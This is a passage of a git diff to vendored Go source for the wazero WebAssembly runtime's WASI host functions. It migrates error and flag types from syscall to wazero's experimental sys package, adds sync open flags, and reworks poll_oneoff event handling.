+1481,7 @@ var pathLink = newHostFunc( "old_fd", "old_flags", "old_path", "old_path_len", "new_fd", "new_path", "new_path_len", ) -func pathLinkFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func pathLinkFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { mem := mod.Memory() fsc := mod.(*wasm.ModuleInstance).Sys.FS() @@ -1475,14 +1506,14 @@ func pathLinkFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn } if oldFS != newFS { // TODO: handle link across filesystems - return syscall.ENOSYS + return experimentalsys.ENOSYS } return oldFS.Link(oldName, newName) } // pathOpen is the WASI function named PathOpenName which opens a file or -// directory. This returns syscall.EBADF if the fd is invalid. +// directory. This returns sys.EBADF if the fd is invalid. // // # Parameters // @@ -1502,12 +1533,12 @@ func pathLinkFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EBADF: `fd` is invalid -// - syscall.EFAULT: `resultOpenedFD` points to an offset out of memory -// - syscall.ENOENT: `path` does not exist. -// - syscall.EEXIST: `path` exists, while `oFlags` requires that it must not. -// - syscall.ENOTDIR: `path` is not a directory, while `oFlags` requires it. -// - syscall.EIO: a file system error +// - sys.EBADF: `fd` is invalid +// - sys.EFAULT: `resultOpenedFD` points to an offset out of memory +// - sys.ENOENT: `path` does not exist. +// - sys.EEXIST: `path` exists, while `oFlags` requires that it must not. +// - sys.ENOTDIR: `path` is not a directory, while `oFlags` requires it. +// - sys.EIO: a file system error // // For example, this function needs to first read `path` to determine the file // to open. If parameters `path` = 1, `pathLen` = 6, and the path is "wazero", @@ -1540,7 +1571,7 @@ var pathOpen = newHostFunc( "fd", "dirflags", "path", "path_len", "oflags", "fs_rights_base", "fs_rights_inheriting", "fdflags", "result.opened_fd", ) -func pathOpenFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func pathOpenFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() preopenFD := int32(params[0]) @@ -1567,10 +1598,10 @@ func pathOpenFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn } fileOpenFlags := openFlags(dirflags, oflags, fdflags, rights) - isDir := fileOpenFlags&fsapi.O_DIRECTORY != 0 + isDir := fileOpenFlags&experimentalsys.O_DIRECTORY != 0 if isDir && oflags&wasip1.O_CREAT != 0 { - return syscall.EINVAL // use pathCreateDirectory! + return experimentalsys.EINVAL // use pathCreateDirectory! } newFD, errno := fsc.OpenFile(preopen, pathName, fileOpenFlags, 0o600) @@ -1581,19 +1612,19 @@ func pathOpenFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn // Check any flags that require the file to evaluate. if isDir { if f, ok := fsc.LookupFile(newFD); !ok { - return syscall.EBADF // unexpected + return experimentalsys.EBADF // unexpected } else if isDir, errno := f.File.IsDir(); errno != 0 { _ = fsc.CloseFile(newFD) return errno } else if !isDir { _ = fsc.CloseFile(newFD) - return syscall.ENOTDIR + return experimentalsys.ENOTDIR } } if !mod.Memory().WriteUint32Le(resultOpenedFD, uint32(newFD)) { _ = fsc.CloseFile(newFD) - return syscall.EFAULT + return experimentalsys.EFAULT } return 0 } @@ -1614,10 +1645,10 @@ func pathOpenFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn // // See https://github.com/WebAssembly/wasi-libc/blob/659ff414560721b1660a19685110e484a081c3d4/libc-bottom-half/sources/at_fdcwd.c // See https://linux.die.net/man/2/openat -func atPath(fsc *sys.FSContext, mem api.Memory, fd int32, p, pathLen uint32) (fsapi.FS, string, syscall.Errno) { +func atPath(fsc *sys.FSContext, mem api.Memory, fd int32, p, pathLen uint32) (experimentalsys.FS, string, experimentalsys.Errno) { b, ok := mem.Read(p, pathLen) if !ok { - return nil, "", syscall.EFAULT + return nil, "", experimentalsys.EFAULT } pathName := string(b) @@ -1632,7 +1663,7 @@ func atPath(fsc *sys.FSContext, mem api.Memory, fd int32, p, pathLen uint32) (fs // interesting_paths wants to break on root paths or anything that escapes. // This part is the same as fs.FS.Open() if !fs.ValidPath(pathName) { - return nil, "", syscall.EPERM + return nil, "", experimentalsys.EPERM } // add the trailing slash back @@ -1641,11 +1672,11 @@ func atPath(fsc *sys.FSContext, mem api.Memory, fd int32, p, pathLen uint32) (fs } if f, ok := fsc.LookupFile(fd); !ok { - return nil, "", syscall.EBADF // closed or invalid + return nil, "", experimentalsys.EBADF // closed or invalid } else if isDir, errno := f.File.IsDir(); errno != 0 { return nil, "", errno } else if !isDir { - return nil, "", syscall.ENOTDIR + return nil, "", experimentalsys.ENOTDIR } else if f.IsPreopen { // don't append the pre-open name return f.FS, pathName, 0 } else { @@ -1654,11 +1685,11 @@ func atPath(fsc *sys.FSContext, mem api.Memory, fd int32, p, pathLen uint32) (fs } } -func preopenPath(fsc *sys.FSContext, fd int32) (string, syscall.Errno) { +func preopenPath(fsc *sys.FSContext, fd int32) (string, experimentalsys.Errno) { if f, ok := fsc.LookupFile(fd); !ok { - return "", syscall.EBADF // closed + return "", experimentalsys.EBADF // closed } else if !f.IsPreopen { - return "", syscall.EBADF + return "", experimentalsys.EBADF } else if isDir, errno := f.File.IsDir(); errno != 0 || !isDir { // In wasip1, only directories can be returned by fd_prestat_get as // there are no prestat types defined for files or sockets. @@ -1668,53 +1699,63 @@ func preopenPath(fsc *sys.FSContext, fd int32) (string, syscall.Errno) { } } -func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags int) { +func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags experimentalsys.Oflag) { if dirflags&wasip1.LOOKUP_SYMLINK_FOLLOW == 0 { - openFlags |= fsapi.O_NOFOLLOW + openFlags |= experimentalsys.O_NOFOLLOW } if oflags&wasip1.O_DIRECTORY != 0 { - openFlags |= fsapi.O_DIRECTORY + openFlags |= experimentalsys.O_DIRECTORY return // Early return for directories as the rest of flags doesn't make sense for it. } else if oflags&wasip1.O_EXCL != 0 { - openFlags |= syscall.O_EXCL + openFlags |= experimentalsys.O_EXCL } - // Because we don't implement rights, we paritally rely on the open flags + // Because we don't implement rights, we partially rely on the open flags // to determine the mode in which the file will be opened. This will create // divergent behavior compared to WASI runtimes which have a more strict // interpretation of the WASI capabilities model; for example, a program // which sets O_CREAT but does not give read or write permissions will // successfully create a file when running with wazero, but might get a // permission denied error on other runtimes. - defaultMode := syscall.O_RDONLY + defaultMode := experimentalsys.O_RDONLY if oflags&wasip1.O_TRUNC != 0 { - openFlags |= syscall.O_TRUNC - defaultMode = syscall.O_RDWR + openFlags |= experimentalsys.O_TRUNC + defaultMode = experimentalsys.O_RDWR } if oflags&wasip1.O_CREAT != 0 { - openFlags |= syscall.O_CREAT - defaultMode = syscall.O_RDWR + openFlags |= experimentalsys.O_CREAT + defaultMode = experimentalsys.O_RDWR } if fdflags&wasip1.FD_NONBLOCK != 0 { - openFlags |= syscall.O_NONBLOCK + openFlags |= experimentalsys.O_NONBLOCK } if fdflags&wasip1.FD_APPEND != 0 { - openFlags |= syscall.O_APPEND - defaultMode = syscall.O_RDWR + openFlags |= experimentalsys.O_APPEND + defaultMode = experimentalsys.O_RDWR + } + if fdflags&wasip1.FD_DSYNC != 0 { + openFlags |= experimentalsys.O_DSYNC + } + if fdflags&wasip1.FD_RSYNC != 0 { + openFlags |= experimentalsys.O_RSYNC } + if fdflags&wasip1.FD_SYNC != 0 { + openFlags |= experimentalsys.O_SYNC + } + // Since rights were discontinued in wasi, we only interpret RIGHT_FD_WRITE // because it is the only way to know that we need to set write permissions - // on a file if the application did not pass any of O_CREATE, O_APPEND, nor + // on a file if the application did not pass any of O_CREAT, O_APPEND, nor // O_TRUNC. const r = wasip1.RIGHT_FD_READ const w = wasip1.RIGHT_FD_WRITE const rw = r | w switch { case (rights & rw) == rw: - openFlags |= syscall.O_RDWR + openFlags |= experimentalsys.O_RDWR case (rights & w) == w: - openFlags |= syscall.O_WRONLY + openFlags |= experimentalsys.O_WRONLY case (rights & r) == r: - openFlags |= syscall.O_RDONLY + openFlags |= experimentalsys.O_RDONLY default: openFlags |= defaultMode } @@ -1731,7 +1772,7 @@ var pathReadlink = newHostFunc( "fd", "path", "path_len", "buf", "buf_len", "result.bufused", ) -func pathReadlinkFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func pathReadlinkFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd := int32(params[0]) @@ -1742,7 +1783,7 @@ func pathReadlinkFn(_ context.Context, mod api.Module, params []uint64) syscall. resultBufused := uint32(params[5]) if pathLen == 0 || bufLen == 0 { - return syscall.EINVAL + return experimentalsys.EINVAL } mem := mod.Memory() @@ -1757,11 +1798,11 @@ func pathReadlinkFn(_ context.Context, mod api.Module, params []uint64) syscall. } if ok := mem.WriteString(buf, dst); !ok { - return syscall.EFAULT + return experimentalsys.EFAULT } if !mem.WriteUint32Le(resultBufused, uint32(len(dst))) { - return syscall.EFAULT + return experimentalsys.EFAULT } return 0 } @@ -1778,10 +1819,10 @@ func pathReadlinkFn(_ context.Context, mod api.Module, params []uint64) syscall. // # Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EBADF: `fd` is invalid -// - syscall.ENOENT: `path` does not exist. -// - syscall.ENOTEMPTY: `path` is not empty -// - syscall.ENOTDIR: `path` is a file +// - sys.EBADF: `fd` is invalid +// - sys.ENOENT: `path` does not exist. +// - sys.ENOTEMPTY: `path` is not empty +// - sys.ENOTDIR: `path` is a file // // # Notes // - This is similar to unlinkat with AT_REMOVEDIR in POSIX. @@ -1794,7 +1835,7 @@ var pathRemoveDirectory = newHostFunc( "fd", "path", "path_len", ) -func pathRemoveDirectoryFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func pathRemoveDirectoryFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd := int32(params[0]) @@ -1824,10 +1865,10 @@ func pathRemoveDirectoryFn(_ context.Context, mod api.Module, params []uint64) s // # Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EBADF: `fd` or `new_fd` are invalid -// - syscall.ENOENT: `old_path` does not exist. -// - syscall.ENOTDIR: `old` is a directory and `new` exists, but is a file. -// - syscall.EISDIR: `old` is a file and `new` exists, but is a directory. +// - sys.EBADF: `fd` or `new_fd` are invalid +// - sys.ENOENT: `old_path` does not exist. +// - sys.ENOTDIR: `old` is a directory and `new` exists, but is a file. +// - sys.EISDIR: `old` is a file and `new` exists, but is a directory. // // # Notes // - This is similar to unlinkat in POSIX. @@ -1840,7 +1881,7 @@ var pathRename = newHostFunc( "fd", "old_path", "old_path_len", "new_fd", "new_path", "new_path_len", ) -func pathRenameFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func pathRenameFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd := int32(params[0]) @@ -1862,7 +1903,7 @@ func pathRenameFn(_ context.Context, mod api.Module, params []uint64) syscall.Er } if oldFS != newFS { // TODO: handle renames across filesystems - return syscall.ENOSYS + return experimentalsys.ENOSYS } return oldFS.Rename(oldPathName, newPathName) @@ -1878,7 +1919,7 @@ var pathSymlink = newHostFunc( "old_path", "old_path_len", "fd", "new_path", "new_path_len", ) -func pathSymlinkFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func pathSymlinkFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() oldPath := uint32(params[0]) @@ -1891,25 +1932,25 @@ func pathSymlinkFn(_ context.Context, mod api.Module, params []uint64) syscall.E dir, ok := fsc.LookupFile(fd) if !ok { - return syscall.EBADF // closed + return experimentalsys.EBADF // closed } else if isDir, errno := dir.File.IsDir(); errno != 0 { return errno } else if !isDir { - return syscall.ENOTDIR + return experimentalsys.ENOTDIR } if oldPathLen == 0 || newPathLen == 0 { - return syscall.EINVAL + return experimentalsys.EINVAL } oldPathBuf, ok := mem.Read(oldPath, oldPathLen) if !ok { - return syscall.EFAULT + return experimentalsys.EFAULT } newPathBuf, ok := mem.Read(newPath, newPathLen) if !ok { - return syscall.EFAULT + return experimentalsys.EFAULT } return dir.FS.Symlink( @@ -1938,9 +1979,9 @@ func bufToStr(buf []byte) string { // # Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EBADF: `fd` is invalid -// - syscall.ENOENT: `path` does not exist. -// - syscall.EISDIR: `path` is a directory +// - sys.EBADF: `fd` is invalid +// - sys.ENOENT: `path` does not exist. +// - sys.EISDIR: `path` is a directory // // # Notes // - This is similar to unlinkat without AT_REMOVEDIR in POSIX. @@ -1953,7 +1994,7 @@ var pathUnlinkFile = newHostFunc( "fd", "path", "path_len", ) -func pathUnlinkFileFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func pathUnlinkFileFn(_ context.Context, mod api.Module, params []uint64) experimentalsys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd := int32(params[0]) diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go index 1d8ec7f94c..d09f30245b 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go @@ -2,10 +2,11 @@ package wasi_snapshot_preview1 import ( "context" - "syscall" "time" "github.com/tetratelabs/wazero/api" + "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" internalsys "github.com/tetratelabs/wazero/internal/sys" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" @@ -18,15 +19,15 @@ import ( // // - in: pointer to the subscriptions (48 bytes each) // - out: pointer to the resulting events (32 bytes each) -// - nsubscriptions: count of subscriptions, zero returns syscall.EINVAL. +// - nsubscriptions: count of subscriptions, zero returns sys.EINVAL. // - resultNevents: count of events. // // Result (Errno) // // The return value is 0 except the following error conditions: -// - syscall.EINVAL: the parameters are invalid -// - syscall.ENOTSUP: a parameters is valid, but not yet supported. -// - syscall.EFAULT: there is not enough memory to read the subscriptions or +// - sys.EINVAL: the parameters are invalid +// - sys.ENOTSUP: a parameters is valid, but not yet supported. +// - sys.EFAULT: there is not enough memory to read the subscriptions or // write results. // // # Notes @@ -46,17 +47,16 @@ type event struct { eventType byte userData []byte errno wasip1.Errno - outOffset uint32 } -func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { in := uint32(params[0]) out := uint32(params[1]) nsubscriptions := uint32(params[2]) resultNevents := uint32(params[3]) if nsubscriptions == 0 { - return syscall.EINVAL + return sys.EINVAL } mem := mod.Memory() @@ -64,7 +64,7 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er // Ensure capacity prior to the read loop to reduce error handling. inBuf, ok := mem.Read(in, nsubscriptions*48) if !ok { - return syscall.EFAULT + return sys.EFAULT } outBuf, ok := mem.Read(out, nsubscriptions*32) // zero-out all buffer before writing @@ -73,33 +73,33 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er } if !ok { - return syscall.EFAULT + return sys.EFAULT } // Eagerly write the number of events which will equal subscriptions unless // there's a fault in parsing (not processing). if !mod.Memory().WriteUint32Le(resultNevents, nsubscriptions) { - return syscall.EFAULT + return sys.EFAULT } // Loop through all subscriptions and write their output. // Extract FS context, used in the body of the for loop for FS access. fsc := mod.(*wasm.ModuleInstance).Sys.FS() - // Slice of events that are processed out of the loop (stdin subscribers). - var stdinSubs []*event + // Slice of events that are processed out of the loop (blocking stdin subscribers). + var blockingStdinSubs []*event // The timeout is initialized at max Duration, the loop will find the minimum. var timeout time.Duration = 1<<63 - 1 - // Count of all the clock subscribers that have been already written back to outBuf. - clockEvents := uint32(0) - // Count of all the non-clock subscribers that have been already written back to outBuf. - readySubs := uint32(0) + // Count of all the subscriptions that have been already written back to outBuf. + // nevents*32 returns at all times the offset where the next event should be written: + // this way we ensure that there are no gaps between records. + nevents := uint32(0) // Layout is subscription_u: Union // https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#subscription_u for i := uint32(0); i < nsubscriptions; i++ { inOffset := i * 48 - outOffset := i * 32 + outOffset := nevents * 32 eventType := inBuf[inOffset+8] // +8 past userdata // +8 past userdata +8 contents_offset @@ -110,12 +110,10 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er eventType: eventType, userData: userData, errno: wasip1.ErrnoSuccess, - outOffset: outOffset, } switch eventType { case wasip1.EventTypeClock: // handle later - clockEvents++ newTimeout, err := processClockEvent(argBuf) if err != 0 { return err @@ -125,69 +123,76 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er timeout = newTimeout } // Ack the clock event to the outBuf. - writeEvent(outBuf, evt) + writeEvent(outBuf[outOffset:], evt) + nevents++ case wasip1.EventTypeFdRead: fd := int32(le.Uint32(argBuf)) if fd < 0 { - return syscall.EBADF + return sys.EBADF } - if fd == internalsys.FdStdin { - // if the fd is Stdin, do not ack yet, - // append to a slice for delayed evaluation. - stdinSubs = append(stdinSubs, evt) + if file, ok := fsc.LookupFile(fd); !ok { + evt.errno = wasip1.ErrnoBadf + writeEvent(outBuf[outOffset:], evt) + nevents++ + } else if fd != internalsys.FdStdin && file.File.IsNonblock() { + writeEvent(outBuf[outOffset:], evt) + nevents++ } else { - evt.errno = processFDEventRead(fsc, fd) - writeEvent(outBuf, evt) - readySubs++ + // if the fd is Stdin, and it is in blocking mode, + // do not ack yet, append to a slice for delayed evaluation. + blockingStdinSubs = append(blockingStdinSubs, evt) } case wasip1.EventTypeFdWrite: fd := int32(le.Uint32(argBuf)) if fd < 0 { - return syscall.EBADF + return sys.EBADF } - evt.errno = processFDEventWrite(fsc, fd) - readySubs++ - writeEvent(outBuf, evt) + if _, ok := fsc.LookupFile(fd); ok { + evt.errno = wasip1.ErrnoNotsup + } else { + evt.errno = wasip1.ErrnoBadf + } + nevents++ + writeEvent(outBuf[outOffset:], evt) default: - return syscall.EINVAL + return sys.EINVAL } } - // If there are subscribers with data ready, we have already written them to outBuf, - // and we don't need to wait for the timeout: clear it. - if readySubs != 0 { - timeout = 0 + sysCtx := mod.(*wasm.ModuleInstance).Sys + if nevents == nsubscriptions { + // We already wrote back all the results. We already wrote this number + // earlier to offset `resultNevents`. + // We only need to observe the timeout (nonzero if there are clock subscriptions) + // and return. + if timeout > 0 { + sysCtx.Nanosleep(int64(timeout)) + } + return 0 } - // If there are stdin subscribers, check for data with given timeout. - if len(stdinSubs) > 0 { - stdin, ok := fsc.LookupFile(internalsys.FdStdin) - if !ok { - return syscall.EBADF - } - // Wait for the timeout to expire, or for some data to become available on Stdin. - stdinReady, errno := stdin.File.PollRead(&timeout) - if errno != 0 { - return errno - } - if stdinReady { - // stdin has data ready to for reading, write back all the events - for i := range stdinSubs { - readySubs++ - evt := stdinSubs[i] - evt.errno = 0 - writeEvent(outBuf, evt) - } + // If there are blocking stdin subscribers, check for data with given timeout. + stdin, ok := fsc.LookupFile(internalsys.FdStdin) + if !ok { + return sys.EBADF + } + // Wait for the timeout to expire, or for some data to become available on Stdin. + + if stdinReady, errno := stdin.File.Poll(fsapi.POLLIN, int32(timeout.Milliseconds())); errno != 0 { + return errno + } else if stdinReady { + // stdin has data ready to for reading, write back all the events + for i := range blockingStdinSubs { + evt := blockingStdinSubs[i] + evt.errno = 0 + writeEvent(outBuf[nevents*32:], evt) + nevents++ } - } else { - // No subscribers, just wait for the given timeout. - sysCtx := mod.(*wasm.ModuleInstance).Sys - sysCtx.Nanosleep(int64(timeout)) } - if readySubs != nsubscriptions { - if !mod.Memory().WriteUint32Le(resultNevents, readySubs+clockEvents) { - return syscall.EFAULT + if nevents != nsubscriptions { + if !mod.Memory().WriteUint32Le(resultNevents, nevents) { + return sys.EFAULT } } @@ -196,20 +201,20 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er // processClockEvent supports only relative name events, as that's what's used // to implement sleep in various compilers including Rust, Zig and TinyGo. -func processClockEvent(inBuf []byte) (time.Duration, syscall.Errno) { +func processClockEvent(inBuf []byte) (time.Duration, sys.Errno) { _ /* ID */ = le.Uint32(inBuf[0:8]) // See below timeout := le.Uint64(inBuf[8:16]) // nanos if relative _ /* precision */ = le.Uint64(inBuf[16:24]) // Unused flags := le.Uint16(inBuf[24:32]) - var err syscall.Errno + var err sys.Errno // subclockflags has only one flag defined: subscription_clock_abstime switch flags { case 0: // relative time case 1: // subscription_clock_abstime - err = syscall.ENOTSUP + err = sys.ENOTSUP default: // subclockflags has only one flag defined. - err = syscall.EINVAL + err = sys.EINVAL } if err != 0 { @@ -223,29 +228,12 @@ func processClockEvent(inBuf []byte) (time.Duration, syscall.Errno) { } } -// processFDEventRead returns ErrnoSuccess if the file exists and ErrnoBadf otherwise. -func processFDEventRead(fsc *internalsys.FSContext, fd int32) wasip1.Errno { - if _, ok := fsc.LookupFile(fd); ok { - return wasip1.ErrnoSuccess - } else { - return wasip1.ErrnoBadf - } -} - -// processFDEventWrite returns ErrnoNotsup if the file exists and ErrnoBadf otherwise. -func processFDEventWrite(fsc *internalsys.FSContext, fd int32) wasip1.Errno { - if _, ok := fsc.LookupFile(fd); ok { - return wasip1.ErrnoNotsup - } - return wasip1.ErrnoBadf -} - // writeEvent writes the event corresponding to the processed subscription. // https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-event-struct func writeEvent(outBuf []byte, evt *event) { - copy(outBuf[evt.outOffset:], evt.userData) // userdata - outBuf[evt.outOffset+8] = byte(evt.errno) // uint16, but safe as < 255 - outBuf[evt.outOffset+9] = 0 - le.PutUint32(outBuf[evt.outOffset+10:], uint32(evt.eventType)) + copy(outBuf, evt.userData) // userdata + outBuf[8] = byte(evt.errno) // uint16, but safe as < 255 + outBuf[9] = 0 + le.PutUint32(outBuf[10:], uint32(evt.eventType)) // TODO: When FD events are supported, write outOffset+16 } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/random.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/random.go index dc94bf7da1..e4d7ccee15 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/random.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/random.go @@ -3,9 +3,9 @@ package wasi_snapshot_preview1 import ( "context" "io" - "syscall" "github.com/tetratelabs/wazero/api" + "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" ) @@ -21,8 +21,8 @@ import ( // Result (Errno) // // The return value is ErrnoSuccess except the following error conditions: -// - syscall.EFAULT: `buf` or `bufLen` point to an offset out of memory -// - syscall.EIO: a file system error +// - sys.EFAULT: `buf` or `bufLen` point to an offset out of memory +// - sys.EIO: a file system error // // For example, if underlying random source was seeded like // `rand.NewSource(42)`, we expect api.Memory to contain: @@ -36,19 +36,19 @@ import ( // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-random_getbuf-pointeru8-bufLen-size---errno var randomGet = newHostFunc(wasip1.RandomGetName, randomGetFn, []api.ValueType{i32, i32}, "buf", "buf_len") -func randomGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func randomGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys randSource := sysCtx.RandSource() buf, bufLen := uint32(params[0]), uint32(params[1]) randomBytes, ok := mod.Memory().Read(buf, bufLen) if !ok { // out-of-range - return syscall.EFAULT + return sys.EFAULT } // We can ignore the returned n as it only != byteCount on error if _, err := io.ReadAtLeast(randSource, randomBytes, int(bufLen)); err != nil { - return syscall.EIO + return sys.EIO } return 0 diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sched.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sched.go index b6dbf190d5..86748e6d6f 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sched.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sched.go @@ -2,9 +2,9 @@ package wasi_snapshot_preview1 import ( "context" - "syscall" "github.com/tetratelabs/wazero/api" + "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" ) @@ -15,7 +15,7 @@ import ( // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-sched_yield---errno var schedYield = newHostFunc(wasip1.SchedYieldName, schedYieldFn, nil) -func schedYieldFn(_ context.Context, mod api.Module, _ []uint64) syscall.Errno { +func schedYieldFn(_ context.Context, mod api.Module, _ []uint64) sys.Errno { sysCtx := mod.(*wasm.ModuleInstance).Sys sysCtx.Osyield() return 0 diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go index 3dacf3df15..756c0d3913 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go @@ -2,9 +2,9 @@ package wasi_snapshot_preview1 import ( "context" - "syscall" "github.com/tetratelabs/wazero/api" + "github.com/tetratelabs/wazero/experimental/sys" socketapi "github.com/tetratelabs/wazero/internal/sock" "github.com/tetratelabs/wazero/internal/sysfs" "github.com/tetratelabs/wazero/internal/wasip1" @@ -23,7 +23,7 @@ var sockAccept = newHostFunc( "fd", "flags", "result.fd", ) -func sockAcceptFn(_ context.Context, mod api.Module, params []uint64) (errno syscall.Errno) { +func sockAcceptFn(_ context.Context, mod api.Module, params []uint64) (errno sys.Errno) { mem := mod.Memory() fsc := mod.(*wasm.ModuleInstance).Sys.FS() @@ -50,7 +50,7 @@ var sockRecv = newHostFunc( "fd", "ri_data", "ri_data_len", "ri_flags", "result.ro_datalen", "result.ro_flags", ) -func sockRecvFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func sockRecvFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { mem := mod.Memory() fsc := mod.(*wasm.ModuleInstance).Sys.FS() @@ -63,13 +63,13 @@ func sockRecvFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn var conn socketapi.TCPConn if e, ok := fsc.LookupFile(fd); !ok { - return syscall.EBADF // Not open + return sys.EBADF // Not open } else if conn, ok = e.File.(socketapi.TCPConn); !ok { - return syscall.EBADF // Not a conn + return sys.EBADF // Not a conn } if riFlags & ^(wasip1.RI_RECV_PEEK|wasip1.RI_RECV_WAITALL) != 0 { - return syscall.ENOTSUP + return sys.ENOTSUP } if riFlags&wasip1.RI_RECV_PEEK != 0 { @@ -78,16 +78,16 @@ func sockRecvFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn // This means that the first `uint32` is a `buf *uint8`. firstIovecBufAddr, ok := mem.ReadUint32Le(riData) if !ok { - return syscall.EINVAL + return sys.EINVAL } // Read bufLen firstIovecBufLen, ok := mem.ReadUint32Le(riData + 4) if !ok { - return syscall.EINVAL + return sys.EINVAL } firstIovecBuf, ok := mem.Read(firstIovecBufAddr, firstIovecBufLen) if !ok { - return syscall.EINVAL + return sys.EINVAL } n, err := conn.Recvfrom(firstIovecBuf, sysfs.MSG_PEEK) if err != 0 { @@ -122,7 +122,7 @@ var sockSend = newHostFunc( "fd", "si_data", "si_data_len", "si_flags", "result.so_datalen", ) -func sockSendFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func sockSendFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { mem := mod.Memory() fsc := mod.(*wasm.ModuleInstance).Sys.FS() @@ -133,14 +133,14 @@ func sockSendFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn resultSoDatalen := uint32(params[4]) if siFlags != 0 { - return syscall.ENOTSUP + return sys.ENOTSUP } var conn socketapi.TCPConn if e, ok := fsc.LookupFile(fd); !ok { - return syscall.EBADF // Not open + return sys.EBADF // Not open } else if conn, ok = e.File.(socketapi.TCPConn); !ok { - return syscall.EBADF // Not a conn + return sys.EBADF // Not a conn } bufSize, errno := writev(mem, siData, siDataCount, conn.Write) @@ -157,7 +157,7 @@ func sockSendFn(_ context.Context, mod api.Module, params []uint64) syscall.Errn // See: https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-sock_shutdownfd-fd-how-sdflags---errno var sockShutdown = newHostFunc(wasip1.SockShutdownName, sockShutdownFn, []wasm.ValueType{i32, i32}, "fd", "how") -func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno { +func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { fsc := mod.(*wasm.ModuleInstance).Sys.FS() fd := int32(params[0]) @@ -165,23 +165,24 @@ func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) syscall. var conn socketapi.TCPConn if e, ok := fsc.LookupFile(fd); !ok { - return syscall.EBADF // Not open + return sys.EBADF // Not open } else if conn, ok = e.File.(socketapi.TCPConn); !ok { - return syscall.EBADF // Not a conn + return sys.EBADF // Not a conn } sysHow := 0 switch how { case wasip1.SD_RD | wasip1.SD_WR: - sysHow = syscall.SHUT_RD | syscall.SHUT_WR + sysHow = 